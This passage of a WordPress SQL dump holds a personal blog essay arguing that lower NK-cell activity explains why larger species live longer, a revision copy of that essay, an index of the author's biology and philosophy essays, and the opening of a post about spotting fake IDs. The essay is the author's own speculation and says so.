href=\"https://bevsvt.com/normal-vitals-for-a-dog/#:~:text=For%20dogs%2C%20a%20normal%20heartbeat,slower%20the%20normal%20heart%20rate.\">slower heart rate</a> and slower metabolic rate, have a shorter lifespan than small dogs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Instead, to come up with a unified explanation, we have to look for another factor. To my mind, it’s this: all else being equal, being bigger is associated with a shorter lifespan, due to the stresses mentioned for that intraspecies relationship. However, all else isn’t equal. Bigger species are much more likely to be <a href=\"https://www.encyclopedia.com/science/dictionaries-thesauruses-pictures-and-press-releases/k-selection-3#:~:text=K%20selection%20A%20type%20of%20selection%20that%20favours,to%20compete%20successfully%20for%20food%20and%20other%20resources.\">k-selected</a>, meaning that they have an evolutionary strategy that involves a few children that they spend a lot of energy on. Baby elephants require a lot more time and energy to raise than baby rats, because baby elephants have to grow a lot more to become adults. Evolutionarily, that promotes a longer lifespan for the elephant, as the momma elephant needs to live long enough to raise its baby. So, interspecies body mass being positively associated with longevity is because of k-selection.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, that’s just <em>why</em> big species live longer than small species. It’s not <em>how</em> big species live longer than small species.&nbsp; In order to answer how big species live longer, we need to bring in another factor: how to extend lifespan within an individual. There are really only 3 ways of reliably doing so: caloric restriction, rapamycin (an immunosuppressant), and metformin (a drug that suppresses glucose production by unclear mechanisms). Caloric restriction has <a href=\"https://www.nia.nih.gov/health/calorie-restriction-and-fasting-diets-what-do-we-know\">the most support</a>, followed by <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC4772077/\">metformin</a> and <a href=\"https://science.sciencemag.org/content/342/6165/1524.abstract\">rapamycin</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>What’s the similarity between caloric restriction, metformin, and rapamycin? All of them downregulate the immune system, specifically the lymphocytes, part of the adaptive immune system. Rapamycin directly inhibits <a href=\"https://pubmed.ncbi.nlm.nih.gov/1709916/\">lymphocyte proliferation</a>; caloric restriction indirectly <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC151888/\">downregulates lymphocytes through leptin</a>; metformin indirectly and directly regulates <a href=\"https://www.frontiersin.org/articles/10.3389/fimmu.2018.01236/full\">a variety of immune system functions</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is not a coincidence. Guess what the difference is between the immune systems of large mammals and the immune systems of small mammals? Large mammals have<a href=\"https://sci-hubtw.hkvisa.net/10.1086/706235\"> a lower concentration of lymphocytes and a higher concentration of neutrophils</a>. Guess what’s unique about the immune system of bats, a notoriously long lived mammal species, vs. other small mammals like rodents? Bats <a href=\"https://get21stnight.com/2020/03/30/why-do-we-keep-getting-diseases-from-bats/\">likely lack natural killer (NK) cells</a>, one of the key lymphocytes. Naked mole rats also <a href=\"https://www.nature.com/articles/s41684-020-0478-4\">lack NK cells</a>. Meanwhile, guess what’s different about the immune system of humans vs. that of chimpanzees, their shorter lived cousins? Chimps have <a href=\"https://www.npr.org/templates/story/story.php?storyId=131064823\">more active/potent NK cells than humans</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Lymphocytes, specifically NK cells, are bad for longevity. This is because lymphocytes in general are one of the main causes of apoptosis, or cell death, even after <a href=\"https://journals.physiology.org/doi/full/10.1152/japplphysiol.01262.2001\">mildly stressful activities like exercise</a>. NK cells are especially harmful for longevity because they are especially prone to causing apoptosis. NK cells are on a hair trigger: when they’re summoned, they destroy any cell that doesn’t display signs of not being infected (if that sounds confusing, just imagine the navy sinking any ship that doesn’t have a flag, whether or not it has a pirate flag).&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Destroying cells on a hair trigger is a good way to ensure short term survival in an environment with a lot of pathogens that are constantly taking over cells. This is a bad way to ensure long term survival. Creating new cells constantly is difficult and prone to error, which can lead to malfunctioning cells or cancer.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Intraspecies, immune systems are the same, so size conveys no advantages. Interspecies, evolutionary pressures downregulate lymphocytes, resulting in increased longevity.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, what does this mean for interventions to improve longevity? Well, we should probably focus on deliberately targeting NK cells for destruction. Unfortunately, there doesn’t seem to have been a lot of work in deliberately doing so. <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC5976438/\">Interventions like rapamycin do so by accident</a>, but highly targeted interventions (i.e. through monoclonal antibodies) in NK cells have been lacking, probably because there’s been no obvious need to.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Fortunately, we know that it’s at least possible. Tumor cells have a biological need to evade NK cells, because NK cells are the most common cause of early tumor cell death. To do so, tumor cells rely on a variety of tactics, including releasing <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6521276/\">TGF-β, HLA-G, prostaglandins, adenosine, and various kinds of extracellular Vesicles (EVs) and microRNAs (miRNAs)</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Of these, the best understood are prostaglandins, which are hormone-like substances that cause vasodilation, inhibit clotting, and <a href=\"https://link.springer.com/article/10.1007/s00262-011-1064-9\">can suppress NK function</a>. While they are best known for their role in inflammation (e.g. NSAIDS like ibuprofen inhibit prostaglandins), synthetic prostaglandins like <a href=\"https://en.wikipedia.org/wiki/Misoprostol\">misoprostol</a> are also used for inducing childbirth or abortions and preventing and treating gastric ulcers. As you might expect, misoprostol does inhibit NK cells (or at least CD56+ cells, of which NK cells are a type), at least according to <a href=\"https://pubmed.ncbi.nlm.nih.gov/16134529/\">a very sketchy Chinese paper from 2001</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, if we want to take advantage of nature’s way of promoting longevity, namely downregulating NK cells, prostaglandins would likely be a good place to start.</p>\n<!-- /wp:paragraph -->','Why bigger species live longer, and what we can learn from it','','publish','closed','closed','','why-bigger-species-live-longer-and-what-we-can-learn-from-it','','','2021-06-24 17:44:00','2021-06-24 17:44:00','',0,'https://trevorklee.com/?page_id=85',0,'page','',0),
(86,1,'2021-06-24 17:44:00','2021-06-24 17:44:00','<!-- wp:paragraph -->\n<p>Within a species (intraspecies), being a bigger variant or breed means living less long. Between species (interspecies), being a bigger species or genus means living longer.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is almost universally true, at least among mammals.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For intraspecies:&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. <a href=\"https://pursuit.unimelb.edu.au/articles/why-do-small-dogs-live-longer-than-big-dogs\">Big dogs live shorter than small dogs</a>.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. Big humans are more prone to metabolic disorders, heart problems, and <a href=\"https://www.sciencedirect.com/science/article/pii/S1470204511701541\">cancer</a> than small humans.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3. Horses live less long than ponies, even though they’re the same species (<a href=\"https://horserookie.com/pony-lifespan/\">up to 10 years difference</a>).&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>4. Miniature cattle live up to <a href=\"http://www.miniaturecattle.com.au/basics.html\">25 years</a>, while normal cattle live up to <a href=\"https://thehumaneleague.org/article/dairy-cows\">20 years</a>.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>5. Potbellied pigs, which are 125+ pounds, live <a href=\"https://animals.mom.com/life-expectancy-vietnamese-potbellied-pig-8101.html\">twice as long</a> as 300+ pound domestic pigs.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For interspecies:&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. The longest lived mammals are all large, like elephants (70 years), whales (90 years), and hippos (50 years).&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2.The shortest lived mammals are all small, like mice (2-3 years), shrews (1-1.5 years), and rats (2 years).&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3. The middlest lived species are middle sized, like dogs (12 years), goats (18 years), or capuchin monkeys (25 years).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Neither of these patterns holds all the time, of course.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Intraspecies, there are some bigger individuals that live a long time and some smaller individuals that die young. There are also limits to how small an individual can get and still live a long time, as individuals that are too small (like “teacup” dogs) tend to get severe health problems.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Interspecies, there are minor outliers: cats live longer than dogs, on average, and donkeys live longer than cows. But, there are also some major outliers: humans live up to 120 years, way longer than their bigger cousins, gorillas, who live up to 50 years in captivity. Naked mole rats live up to 35 years, way longer than their bigger rodent cousins, capybaras, who live 10 years in captivity. Finally, bowhead whales live up to 200 years, twice as long as blue whales, which are much larger than them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, these two patterns hold often enough that they’re interesting. What gives? Why does lifespan decrease with body mass intraspecies, and increase with body mass interspecies?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It seems easier to explain the intraspecies pattern. Bigger animals have more cells, so more chances for things to go wrong, like cancer. They also have more mass, placing greater mechanical stress on their organs, bones, and joints. Finally, they have more surface area, resulting in a greater chance for infections.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For the interspecies pattern, we have to rely on more pseudoscientific explanations, like the idea of <a href=\"http://robdunnlab.com/projects/beats-per-life/\">a billion heartbeats</a> over the course of a lifetime (so a slower heartbeat results in a longer lifespan) or some sort of handwaving at <a href=\"https://knowablemagazine.org/article/health-disease/2021/genetic-tricks-longest-lived-animals\">DNA repair rates and methylation</a>.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Unfortunately, neither explanation can explain both the intra- and interspecies pattern. An explanation that associates smaller individuals with a longer lifespan has to explain the incredibly long lifespan of elephants. An explanation that associates bigger species with a longer lifespan has to explain why big dogs, with their <a href=\"https://bevsvt.com/normal-vitals-for-a-dog/#:~:text=For%20dogs%2C%20a%20normal%20heartbeat,slower%20the%20normal%20heart%20rate.\">slower heart rate</a> and slower metabolic rate, have a shorter lifespan than small dogs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Instead, to come up with a unified explanation, we have to look for another factor. To my mind, it’s this: all else being equal, being bigger is associated with a shorter lifespan, due to the stresses mentioned for that intraspecies relationship. However, all else isn’t equal. Bigger species are much more likely to be <a href=\"https://www.encyclopedia.com/science/dictionaries-thesauruses-pictures-and-press-releases/k-selection-3#:~:text=K%20selection%20A%20type%20of%20selection%20that%20favours,to%20compete%20successfully%20for%20food%20and%20other%20resources.\">k-selected</a>, meaning that they have an evolutionary strategy that involves a few children that they spend a lot of energy on. Baby elephants require a lot more time and energy to raise than baby rats, because baby elephants have to grow a lot more to become adults. Evolutionarily, that promotes a longer lifespan for the elephant, as the momma elephant needs to live long enough to raise its baby. So, interspecies body mass being positively associated with longevity is because of k-selection.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, that’s just <em>why</em> big species live longer than small species. It’s not <em>how</em> big species live longer than small species.&nbsp; In order to answer how big species live longer, we need to bring in another factor: how to extend lifespan within an individual. There are really only 3 ways of reliably doing so: caloric restriction, rapamycin (an immunosuppressant), and metformin (a drug that suppresses glucose production by unclear mechanisms). Caloric restriction has <a href=\"https://www.nia.nih.gov/health/calorie-restriction-and-fasting-diets-what-do-we-know\">the most support</a>, followed by <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC4772077/\">metformin</a> and <a href=\"https://science.sciencemag.org/content/342/6165/1524.abstract\">rapamycin</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>What’s the similarity between caloric restriction, metformin, and rapamycin? All of them downregulate the immune system, specifically the lymphocytes, part of the adaptive immune system. Rapamycin directly inhibits <a href=\"https://pubmed.ncbi.nlm.nih.gov/1709916/\">lymphocyte proliferation</a>; caloric restriction indirectly <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC151888/\">downregulates lymphocytes through leptin</a>; metformin indirectly and directly regulates <a href=\"https://www.frontiersin.org/articles/10.3389/fimmu.2018.01236/full\">a variety of immune system functions</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is not a coincidence. Guess what the difference is between the immune systems of large mammals and the immune systems of small mammals? Large mammals have<a href=\"https://sci-hubtw.hkvisa.net/10.1086/706235\"> a lower concentration of lymphocytes and a higher concentration of neutrophils</a>. Guess what’s unique about the immune system of bats, a notoriously long lived mammal species, vs. other small mammals like rodents? Bats <a href=\"https://get21stnight.com/2020/03/30/why-do-we-keep-getting-diseases-from-bats/\">likely lack natural killer (NK) cells</a>, one of the key lymphocytes. Naked mole rats also <a href=\"https://www.nature.com/articles/s41684-020-0478-4\">lack NK cells</a>. Meanwhile, guess what’s different about the immune system of humans vs. that of chimpanzees, their shorter lived cousins? Chimps have <a href=\"https://www.npr.org/templates/story/story.php?storyId=131064823\">more active/potent NK cells than humans</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Lymphocytes, specifically NK cells, are bad for longevity. This is because lymphocytes in general are one of the main causes of apoptosis, or cell death, even after <a href=\"https://journals.physiology.org/doi/full/10.1152/japplphysiol.01262.2001\">mildly stressful activities like exercise</a>. NK cells are especially harmful for longevity because they are especially prone to causing apoptosis. NK cells are on a hair trigger: when they’re summoned, they destroy any cell that doesn’t display signs of not being infected (if that sounds confusing, just imagine the navy sinking any ship that doesn’t have a flag, whether or not it has a pirate flag).&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Destroying cells on a hair trigger is a good way to ensure short term survival in an environment with a lot of pathogens that are constantly taking over cells. This is a bad way to ensure long term survival. Creating new cells constantly is difficult and prone to error, which can lead to malfunctioning cells or cancer.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Intraspecies, immune systems are the same, so size conveys no advantages. Interspecies, evolutionary pressures downregulate lymphocytes, resulting in increased longevity.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, what does this mean for interventions to improve longevity? Well, we should probably focus on deliberately targeting NK cells for destruction. Unfortunately, there doesn’t seem to have been a lot of work in deliberately doing so. <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC5976438/\">Interventions like rapamycin do so by accident</a>, but highly targeted interventions (i.e. through monoclonal antibodies) in NK cells have been lacking, probably because there’s been no obvious need to.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Fortunately, we know that it’s at least possible. Tumor cells have a biological need to evade NK cells, because NK cells are the most common cause of early tumor cell death. To do so, tumor cells rely on a variety of tactics, including releasing <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6521276/\">TGF-β, HLA-G, prostaglandins, adenosine, and various kinds of extracellular Vesicles (EVs) and microRNAs (miRNAs)</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Of these, the best understood are prostaglandins, which are hormone-like substances that cause vasodilation, inhibit clotting, and <a href=\"https://link.springer.com/article/10.1007/s00262-011-1064-9\">can suppress NK function</a>. While they are best known for their role in inflammation (e.g. NSAIDS like ibuprofen inhibit prostaglandins), synthetic prostaglandins like <a href=\"https://en.wikipedia.org/wiki/Misoprostol\">misoprostol</a> are also used for inducing childbirth or abortions and preventing and treating gastric ulcers. As you might expect, misoprostol does inhibit NK cells (or at least CD56+ cells, of which NK cells are a type), at least according to <a href=\"https://pubmed.ncbi.nlm.nih.gov/16134529/\">a very sketchy Chinese paper from 2001</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, if we want to take advantage of nature’s way of promoting longevity, namely downregulating NK cells, prostaglandins would likely be a good place to start.</p>\n<!-- /wp:paragraph -->','Why bigger species live longer, and what we can learn from it','','inherit','closed','closed','','85-revision-v1','','','2021-06-24 17:44:00','2021-06-24 17:44:00','',85,'https://trevorklee.com/?p=86',0,'revision','',0),
(88,1,'2021-06-24 18:54:03','2021-06-24 18:54:03','<!-- wp:heading -->\n<h2>Biology</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-bigger-species-live-longer-and-what-we-can-learn-from-it/\" data-type=\"page\" data-id=\"85\">Why bigger species live longer and what we can learn from it</a> - simple observation: bigger species live longer than smaller species (elephants vs. mice), but bigger breeds live shorter than smaller breeds (St. Bernards vs. Chihuahuas). This essay argues that immunology is the key.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-complete-guide-to-self-diagnosing-and-self-treating-ibs/\" data-type=\"page\" data-id=\"58\">A complete guide to self-diagnosing and self-treating IBS</a> - Self-explanatory. This is the sort of guide I wished I had when I was suffering through IBS.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/are-mrna-therapies-the-future-of-pharmaceuticals/\" data-type=\"page\" data-id=\"54\">Are mRNA therapies the future?</a> - Examining the hype around mRNA. Hype is partially busted: mRNA is cool, but it\'s not a cure-all, and at this point it\'s difficult to imagine it being effective in non-vaccine therapeutics.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-oncology-is-so-popular-for-pharmaceuticals/\">Why oncology is so popular for pharmaceuticals</a> - Discussing the economic reasons why oncology is such an attractive category for pharma companies, as well as the statistical reasons. Hint: it\'s because oncology drugs use bullshit measurements.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/what-is-the-role-of-inflammation-in-the-immune-system/\" data-type=\"page\" data-id=\"40\">What exactly is the role of inflammation in the immune system?</a> - Exploring the enduring mystery of why anti-inflammatory drugs like ibuprofen and adalimumab don\'t make people much more susceptible to infections.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/27/the-troubles-with-how-the-rate-of-virus-transmission-is-measured/\">Don\'t use R0 to measure the rate of COVID transmission </a>- Arguing that R0 is a bad measure because:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li>It depends on circumstance and is not an inherent property of the virus</li><li>It\'s an average, which ignores superspreaders</li><li>Its problematic calculation assumes asymptomatic transmission, a constant relationship between when a person is infected and when they show symptoms, and a single number for \"infectiousness\", none of which are justified</li><li>The estimates for R0 of all viruses vary drastically</li></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/21/asymptomatic-shedding-of-viruses-is-the-norm/\">Asymptomatic shedding of the virus is the norm</a> - arguing from examples of every kind of virus (DNA, RNA, enveloped, and unenveloped) that asymptomatic shedding and transmission is common and uncontroversial</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/14/why-do-some-viruses-cross-over-from-animals/\">How to make bird flu (H5N1) cross over to humans</a> - exploring how viruses cross over from animals to humans, using an experiment where they made the bird flu transmissible between ferrets (and probably between humans)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/03/30/why-do-we-keep-getting-diseases-from-bats/\">Why do humans keep getting diseases from bats?</a> - long story short, because bats are social and are virus \"reservoirs\". This is because their unique immune system allows them to live with viruses that would kill other mammals.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/03/15/genetically-engineering-virus-immune-bees/\">Genetically engineering virus immune bees</a> - exploring a paper that shows how scientists infected bees with a bacterium that gave the bees immunity to the viruses and mites that cause colony collapse. The key technology was RNA interference, which I explored for a bit in my \"failed projects\".</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2><strong>Philosophy</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/socrates-and-categorizations/\">Socrates and Categorizations</a>&nbsp;- Socrates, the first philosopher, developed a method to refine definitions and eliminate internal contradictions in thought. But his method has limitations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/aristotle-and-logical-systems/\">Aristotle and logical systems</a> - Aristotle was a brilliant man who insisted that the world make sense to him. So he developed a way of making it so.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/francis-bacon-and-observation/\">Francis Bacon and observations</a>&nbsp;- Deduction is useful in many ways, but it can\'t produce new knowledge. Only induction can do that, but it\'s a tricky process. Francis Bacon tried to refine the method, and ended up being the first philosopher of science.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/descartes-and-radical-skepticism/\">Descartes and radical skepticism</a> - If skepticism is&nbsp;a hammer, Descartes saw all of philosophy as a wall of glass. And he was eager to start smashing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/hume-and-the-problem-of-induction/\">Hume and the problem of induction</a>&nbsp;- Induction is super useful. It\'s a pity, therefore, that Hume showed it can never be justified. In short, nothing can ever be said to cause anything.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/immanuel-kant-and-intuition/\">Immanuel Kant and intuition</a>&nbsp;- According to Kant, thinking about thinking is like using a microscope to examine itself. It can\'t be done. Why? Intuition, or \"pre-processing\".</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/wittgenstein-and-the-limits-of-language/\">Wittgenstein and the limits of language</a> - Right now, I\'m attempting to use language to convey meaning. Is it working? Wittgenstein will tell us.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/karl-popper-and-falsificationism/\">Karl Popper and falsificationism</a> - Science is what allows men to fly, control electricity, and cheat death. It\'d probably be a good idea to figure out what exactly it is, then. Karl Popper is on the case.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/08/20/why-internet-arguments-go-in-circles-according-to-charles-sanders-peirce/\">Charles Sanders Peirce and arguments</a> -  For arguments to work, both sides need to be working off the same definitions. Two users of a word have the same definition of that word only if they intend the same effect when using that word.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>Learning</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/08/09/levels-to-it-wrestling-and-learning/\">How D1 wrestlers learn and what we can learn from them</a> - basically, the best learning environment is to have</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li>Close interaction with other people who are learning the same thing</li><li>Emotional bonding with said people</li><li>Drilling of what you want to learn</li><li>Single-minded focus on exactly what you want to learn</li></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/12/13/using-flashcards-to-learn-pretty-much-anything/\">Using spaced repetition flashcards to learn pretty much anything</a> - showing how spaced repetition can be used to learn any subject, including mathematics.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/12/27/why-introductory-chemistry-is-boring-a-long-term-historical-perspective/\">Why introductory chemistry is boring: a historical perspective</a> - showing the evolution of the teaching of chemistry over time, from exciting medieval times to the overly boring present</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/03/why-most-intro-philosophy-courses-feel-useless-and-how-to-fix-them/\">Why most intro philosophy courses feel useless</a> - long story short, because they ask somewhat interesting questions and don\'t even try to answer them</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/13/learning-calculus-should-be-shocking-not-confusing-a-historical-perspective/\">How to fix calculus: make calculus exciting again</a> - showing how shocking calculus is (and historically controversial), and arguing that, if students were shocked by calculus, they might be interested in learning it</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>  </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2><strong>Uncategorized</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/12/10/on-improving-teaching-in-bjj/\">Recommendations for improving teaching in Brazilian jiu jitsu</a>&nbsp;- Brazilian Jiu Jitsu is a sport that I\'ve gotten to know pretty well over the last year and a half, and I think it\'s fantastic. But I think there\'s a lot of room for improvement in the teaching of BJJ, and I\'ve outlined those recommendations here. This essay also serves as a brief summary of my philosophy and practices as an educator, as applied to BJJ.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/the-limits-of-argumentation-preview/\">The limits of argumentation</a> - Philosophers (and everyone else) have traditionally used argumentation to determine truth. But this doesn\'t always work. Using the 2016 presidential debates, I\'ll explore when exactly argumentation breaks down.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/probability-bayesian-theory-and-causation/\">Probability, Bayesian theory, and causation</a>- Many philosophers have discussed the difficulties of saying that some event caused another event. The answer that most scientists have adopted is to say some event&nbsp;<em>probably</em> caused another event. Does this work? Not entirely.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/hard-science-soft-science-and-pseudoscience-preview/\">Hard science, soft science, and pseudoscience</a>&nbsp;- Some people say that Aristotle was the last man to know all the knowledge available in his time. The rest of us are forced to rely and even trust our lives on theories that we cannot understand or evaluate. This is a difficult problem, but it can be approached philosophically.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/thinking-about-big-numbers-preview/\">Thinking about big numbers</a>&nbsp;- We read in the news every day about thousands, millions, and billions, but these numbers are never put in context. This essay discusses a method of grappling with big numbers and making them understandable.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/how-to-valuate-a-company-preview/\">How to valuate a company</a>&nbsp;- One of humanity\'s favorite uses for our money is to use it to make more money, and one of our favorite ways of doing that is to invest our money in companies.&nbsp;This essay compares and contrasts two methods of doing that from a philosophical standpoint: Warren Buffett\'s and Andreesen Horowitz\'s.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/the-flow-of-money-preview/\">The flow of money</a>&nbsp;- It must be nice to be a bank. People just give you money and you can do whatever you want with it until they ask for it back. Fortunately, banks aren\'t the only ones who get to play with other people\'s money, and I\'m not even talking about kids with rich parents.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/01/21/lessons-in-business-from-the-golden-age-of-advertising/\">Lessons in business from the golden age of advertising</a> - A summary of the lessons from a book I read about Albert Lasker, who was responsible for the success Sunkist, Warren Harding\'s presidential run, Palmolive, and Kotex, and others</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/25/self-organized-criticality-the-potential-and-problems-of-a-theory-of-everything/\">Self-organized criticality: the potential and problems of a theory of everything</a> - explaining the idea of self-organized criticality, its insane popularity, then its inevitable downfall</p>\n<!-- /wp:paragraph -->','Essays','','inherit','closed','closed','','22-revision-v1','','','2021-06-24 18:54:03','2021-06-24 18:54:03','',22,'https://trevorklee.com/?p=88',0,'revision','',0),
(90,1,'2021-07-22 22:54:56','2021-07-22 22:54:56','<!-- wp:paragraph -->\n<p>One of my favorite things in the world is the very specific, strange competencies that people develop over the course of a job. Carpenters might be able to estimate the length of anything just by looking at it, architects might be able to quickly sketch a remarkably accurate picture from memory, etc.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This post comes from one of those specific competencies. One of my friends in Boston is a bouncer at a busy bar. From his job, he’s gotten very good at spotting fake IDs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This isn’t a skill a lot of people think about. Even bars don’t often think much about it. Most bars just employ a pretty cursory check of fake IDs: bend the ID to make sure it’s made from proper card stock, try to peel back the edges, check the picture against the person, and maybe quiz the person on their address. If they have the capability, the bars might try scanning the IDs as well, and see if the scan matches.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>All of these are good for spotting bad fake IDs. They are not useful for spotting good fake IDs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph 